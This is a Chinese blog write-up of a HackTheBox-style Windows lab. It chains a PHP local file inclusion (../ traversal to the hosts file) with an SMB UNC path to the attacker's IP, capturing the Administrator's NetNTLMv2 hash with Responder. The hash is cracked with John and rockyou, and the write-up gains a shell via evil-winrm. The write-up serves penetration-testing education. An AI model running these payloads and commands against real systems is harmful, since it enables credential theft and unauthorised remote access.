这一章就需要好好说道了,后面设计道真正的渗透入门的一些东西了,我决定还是翻译wp里面的内容来充实我的题解

简单介绍

Windows 是当今世界上最主流的操作系统,这得益于其易于使用的图形用户界面(GUI)。它约占 85% 的市场份额,因此成为了攻击者的重要目标。此外,大多数组织使用 Active Directory 来搭建其 Windows 域网络。微软采用 NTLM(新技术局域网管理器)和 Kerberos 提供身份验证服务。尽管 NTLM 存在已知漏洞,但为了与旧版客户端和服务器保持兼容性,它在新系统中仍然被广泛部署。 本实验重点探讨如何利用 Windows 机器上运行的网页中的文件包含漏洞,收集运行 Web 服务器的用户的 NetNTLMv2 挑战值。我们将使用一款名为 Responder 的工具捕获 NetNTLMv2 哈希,随后使用名为 John the Ripper(约翰大师)的工具测试数百万个可能的密码,看是否有与生成该哈希的密码匹配的。我们还将深入了解 NTLM 身份验证的工作流程,以及 Responder 工具如何捕获挑战值。我们认为,理解工具或框架的底层工作原理至关重要,这能夯实知识基础,有助于应对现实世界中那些乍一看似乎不存在漏洞的利用场景。让我们直接开始吧。

我们将首先使用 Nmap 扫描主机,以查找任何开放的端口和运行的服务。我们将在扫描中使用以下标志:


在这里我还是按照我之前常用的方式:

nmap -sV -sC -p- --min-rate 1000 10.129.156.21

可以看到在80和5985端口是开放的,并且部署有两个服务一个是apache服务一个是Microsoft的服务

Nmap 是如何确定端口上运行的服务的?

Nmap 利用一个包含知名服务的端口-services 数据库来确定特定端口上运行的服务。之后,它还会向该端口发送一些特定于服务的请求,以确定服务版本以及任何相关的附加信息。

因此,Nmap 对于特定端口的服务信息大多是正确的,但并非始终如此。

根据Nmap扫描结果,这台机器使用的是Windows操作系统。检测到两个开放端口,其中80端口运行着Apache Web服务器,5985端口运行着WinRM(Windows远程管理)服务。 Windows远程管理(WinRM)是Windows原生的内置远程管理协议,它主要使用简单对象访问协议(SOAP)与远程计算机、服务器以及操作系统和应用程序进行交互。WinRM允许用户: → 与主机进行远程通信和交互 → 在非本地但可通过网络访问的系统上远程执行命令 → 从远程位置监控、管理和配置服务器、操作系统及客户端机器 作为渗透测试人员,这意味着如果我们能找到具有远程管理权限的用户凭据(通常是用户名和密码),就有可能在目标主机上获得一个PowerShell shell。

网站枚举

打开Firefox浏览器,输入http://[目标IP]后,浏览器返回无法找到该网站的信息。查看地址栏,现在显示的是http://unika.htb。该网站已将浏览器重定向到一个新的URL,而你的主机不知道如何找到unika.htb。此网络服务器采用基于名称的虚拟主机来处理请求。 基于名称的虚拟主机是一种在单台服务器上托管多个域名(每个名称分别处理)的方法。

这使得一台服务器可以共享其资源,如内存和处理器周期,而无需所有服务都通过相同的主机名使用。 网络服务器会检查HTTP请求中Host头字段提供的域名,并据此发送响应。 /etc/hosts文件用于将主机名解析为IP地址,因此我们需要在/etc/hosts文件中为此域名添加一个条目,使浏览器能够解析unika.htb的地址。

/etc/hosts文件中的条目:

echo "10.129.156.21 unika.htb" | sudo tee -a /etc/hosts

简单点来说我们就是因为要访问的服务器有多个域名,然后这个网站又将url重定向到了unika.htb,但是我们的主机找不到unika.htb,只能找到我们一开始访问的IP,所以我们需要给主机添加一个hosts解析才能访问到unika.htb

在 /etc/hosts 文件中添加这条条目后,浏览器就能将主机名 unika.htb 解析为对应的 IP 地址,从而在向该 IP 地址发送的每个 HTTP 请求中都包含 Host: unika.htb 这个 HTTP 头,服务器也会因此返回 unika.htb 的网页。 访问该网页时,我们看到的是一个网页设计公司的着陆页。

检查该网站时,我们没有发现什么特别值得关注的内容。不过,我们注意到导航栏上有语言选择选项“EN”,将其切换为“FR”后,我们会进入该网站的法语版本。

观察 URL 可知,french.html 页面是通过 page 参数加载的。如果对 page 输入未进行净化处理,该参数可能存在本地文件包含(LFI)漏洞。

文件包含漏洞

动态网站会利用 HTTP 请求中的信息(包括 GET 和 POST 参数、Cookie 及其他变量)动态包含 HTML 页面。页面通常会根据其中一些参数来 “包含” 另一个页面。

本地文件包含(LFI)指攻击者能够让网站包含一个并非该应用预期选项的文件。一个常见示例是,当应用将文件路径作为输入时,如果应用将该输入视为可信内容,且未对其进行必要的安全检查,攻击者就可以通过在输入的文件名中使用 ../ 字符串来利用该漏洞,最终查看本地文件系统中的敏感文件。在某些有限情况下,LFI 还可能导致代码执行。

远程文件包含(RFI)与 LFI 类似,但在这种情况下,攻击者可以通过 HTTP、FTP 等协议在主机上加载远程文件。

我们对 page 参数进行测试,看是否能在服务器响应中包含目标系统上的文件。我们将使用一些众所周知的文件进行测试,这些文件在网络、Windows 域和系统中的名称都是相同的,可在此处找到。渗透测试人员在 Windows 机器上验证 LFI 时,最常尝试访问的文件之一是 hosts 文件,其路径为 WINDOWS\System32\drivers\etc\hosts(该文件用于在本地将主机名转换为 IP 地址)。../ 字符串用于逐个回溯目录。因此,URL 中会包含多个 ../ 字符串,以便服务器上的文件处理器回溯到根目录(即 C:\)。

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

很好,本地文件包含(LFI)是可行的,因为我们能在响应中看到 C:\windows\system32\drivers\etc\hosts 文件的内容。 在这种情况下,之所以会出现文件包含漏洞,是因为后端使用了 PHP 的 include() 方法来处理 URL 中的 page 参数,从而为不同语言提供不同的网页。由于没有对这个 page 参数进行适当的净化处理,我们才能够传入恶意输入,进而查看系统内部文件。 PHP 中的 include() 方法是什么? include 语句会获取指定文件中存在的所有文本、代码、标记,并将其加载到内存中,使其可供使用。 例如:

File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>

关于 PHP 的 include () 方法的更详细解释,可以参考这里

什么是 NTLM(新技术局域网管理器)?

NTLM 是微软开发的一套认证协议集合。它是一种挑战 - 响应认证协议,用于在 Active Directory 域中向资源认证客户端。

它属于单点登录(SSO)的一种,因为它允许用户仅在登录时提供一次基础认证因素。

NTLM 认证过程如下:

  1. 客户端向服务器发送用户名和域名。

  2. 服务器生成一个随机字符串,称为 “挑战”(challenge)。

  3. 客户端用用户密码的 NTLM 哈希对挑战进行加密,然后发送回服务器。

  4. 服务器检索用户密码(或等效信息)。

  5. 服务器使用从安全账户数据库中检索到的哈希值对挑战字符串进行加密,然后将该值与从客户端收到的值进行比较。如果值匹配,则客户端通过认证。

关于 NTLM 认证工作原理的更详细解释可参考此处

NTLM vs NT 哈希 vs NetNTLMv2

NTLM 认证相关的术语比较混乱,即使是专业人士也时常会用错。下面明确几个关键术语:

哈希函数是一种单向函数,它接收任意长度的数据并返回固定长度的值。其结果通常称为哈希、摘要或指纹。哈希函数用于更安全地存储密码,因为无法直接将哈希值转换回原始数据(不过,我们稍后会看到,存在从哈希中恢复密码的攻击方法)。因此,服务器可以存储用户密码的哈希,当用户向网站提交密码时,服务器会对输入的密码进行哈希处理,然后将结果与数据库中的哈希进行比较。如果匹配,则用户通过认证。

NT 哈希(NTHash)是 Windows 系统在 SAM 数据库和域控制器中用于存储密码的算法输出。NT 哈希通常被称为 “NTLM 哈希”,甚至简称为 “NTLM”,这非常容易引起混淆。

当 NTLM 协议通过网络进行认证时,它会使用挑战 - 响应模型(如上文所述)。NetNTLMv2 挑战 - 响应是一种专门格式化的字符串,包含挑战和响应。它通常被称为 “NetNTLMv2 哈希”,但实际上它并不是哈希。不过,由于我们攻击它的方式与攻击哈希类似,所以它经常被称为哈希。你可能会看到 NetNTLMv2 相关对象被称为 “NTLMv2”,甚至混淆地称为 “NTLM”。

使用 Responder

在 PHP 配置文件 php.ini 中,“allow_url_include” 包装器默认设置为 “Off”,这意味着 PHP 不会加载远程 HTTP 或 FTP URL,以防止远程文件包含攻击。然而,即使 allow_url_include 和 allow_url_fopen 被设置为 “Off”,PHP 也不会阻止 SMB URL 的加载。

在我们的场景中,我们可以滥用此功能来窃取 NTLM 哈希。

现在,我们可以参考这篇博客,尝试加载一个 SMB URL,并在此过程中使用 Responder 从目标捕获哈希。

Responder 的工作原理是什么?

Responder 可以进行多种不同类型的攻击,但在这种情况下,它会设置一个恶意的 SMB 服务器。当目标机器尝试对该服务器执行 NTLM 认证时,Responder 会发回一个挑战,让服务器用用户的密码进行加密。当服务器响应时,Responder 会使用该挑战和加密的响应生成 NetNTLMv2(可以理解为一个凭据)。虽然我们无法反向破解 NetNTLMv2,但我们可以尝试许多不同的常见密码,看是否有任何密码能生成相同的挑战 - 响应。如果找到匹配的,我们就知道那就是密码。这通常被称为哈希破解,我们将使用一个名为 John The Ripper 的程序来完成。

首先,如果机器上尚未安装 Responder 工具,我们需要将 Responder 仓库克隆到本地机器。

git clone https://github.com/lgandx/Responder

配置文件准备好后,我们就可以使用python3启动Responder,并通过-I标志指定要监听的接口:

sudo python3 Responder.py -I tun0

可以通过在终端中运行 ifconfig 命令来查看网络接口。 在 Kali Linux 或 HTB Pawnbox 中,Responder 作为系统工具默认已安装,因此只需运行命令 sudo responder -I {network_interface} 即可启动它。

当然我们需要安装aioquic

Responder服务器准备就绪后,我们通过网页浏览器将page参数设置为如下形式,让目标服务器包含来自我们SMB服务器的资源。

http://unika.htb/?page=//10.10.14.37/somefile

在这种情况下,由于我们可以自由指定SMB共享的地址,所以我们会指定攻击机的IP地址。此时,目标服务器会尝试从我们的SMB服务器加载资源,而Responder会捕获到足够的信息来获取NetNTLMv2。

注意:确保在地址中加上http://,因为有些浏览器可能会默认进行谷歌搜索,而不是导航到相应页面。

sudo python3 Responder.py -I tun0 (这个是自己的网卡如果是ens33就是ens33)
http://unika.htb/?page=//10.10.14.25/somefile 

通过网页浏览器发送 payload 后,我们会收到一条关于无法加载请求文件的错误信息。

但查看我们正在监听的Responder服务器时,会发现我们获取到了管理员(Administrator)用户的NetNTLMv2。

[SMB] NTLMv2-SSP Client   : 10.129.156.21
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:7f45dc64ecd1ca4c:092D691E01F67A98B47B9F4789F7AE72:01010000000000000010DBE1A4FBDB013CB859EA05AA898E0000000002000800380039005700370001001E00570049004E002D003500530053003800320058005400420044004400520004003400570049004E002D00350053005300380032005800540042004400440052002E0038003900570037002E004C004F00430041004C000300140038003900570037002E004C004F00430041004C000500140038003900570037002E004C004F00430041004C00070008000010DBE1A4FBDB01060004000200000008003000300000000000000001000000002000008257C941F8A5CCBDF310A054F0DE085D61FA579B106C082E70B52F49480341620A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330037000000000000000000

NetNTLMv2 包含了挑战值(随机文本)和加密响应。

哈希破解

我们可以将哈希内容导出到一个文件中,然后尝试用 john(一款密码哈希破解工具)进行破解。

echo "Administrator::RESPONDER:7f45dc64ecd1ca4c:092D691E01F67A98B47B9F4789F7AE72:01010000000000000010DBE1A4FBDB013CB859EA05AA898E0000000002000800380039005700370001001E00570049004E002D003500530053003800320058005400420044004400520004003400570049004E002D00350053005300380032005800540042004400440052002E0038003900570037002E004C004F00430041004C000300140038003900570037002E004C004F00430041004C000500140038003900570037002E004C004F00430041004C00070008000010DBE1A4FBDB01060004000200000008003000300000000000000001000000002000008257C941F8A5CCBDF310A054F0DE085D61FA579B106C082E70B52F49480341620A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330037000000000000000000" > hash.txt

我们将哈希文件传递给 john,以破解管理员账户的密码。john 命令行工具会自动识别哈希类型。

john -w=/usr/share/wordlists/rockyou.txt hash.txt

当然在执行这个命令之前我们要把kali里面自带的rockyou.txt字典进行解压

gzip -d /usr/share/wordlists/rockyou.txt.gz
# 如果有gzip命令的话
tar -zxvf /usr/share/wordlists/rockyou.txt.gz
# 如果没有gzip的话

然后发现很快就把密码拿下了

badminton        (Administrator)  

WINRM

我们将连接到目标上的 WinRM 服务并尝试获取一个会话。由于 Linux 上默认未安装 PowerShell,我们将使用一款名为 Evil-WinRM 的工具,它就是为这类场景设计的。

evil-winrm -i 10.129.156.21 -u administrator -p badminton

然后我们成功进入了我们刚才拿下的机器的命令行,然后在我们的C:\Users\mike\Desktop\flag.txt .

也就是桌面上成功拿下flag

type C:\Users\mike\Desktop\flag.txt

这里我感觉redesktop也是可行的就是pwnbox里面没有而已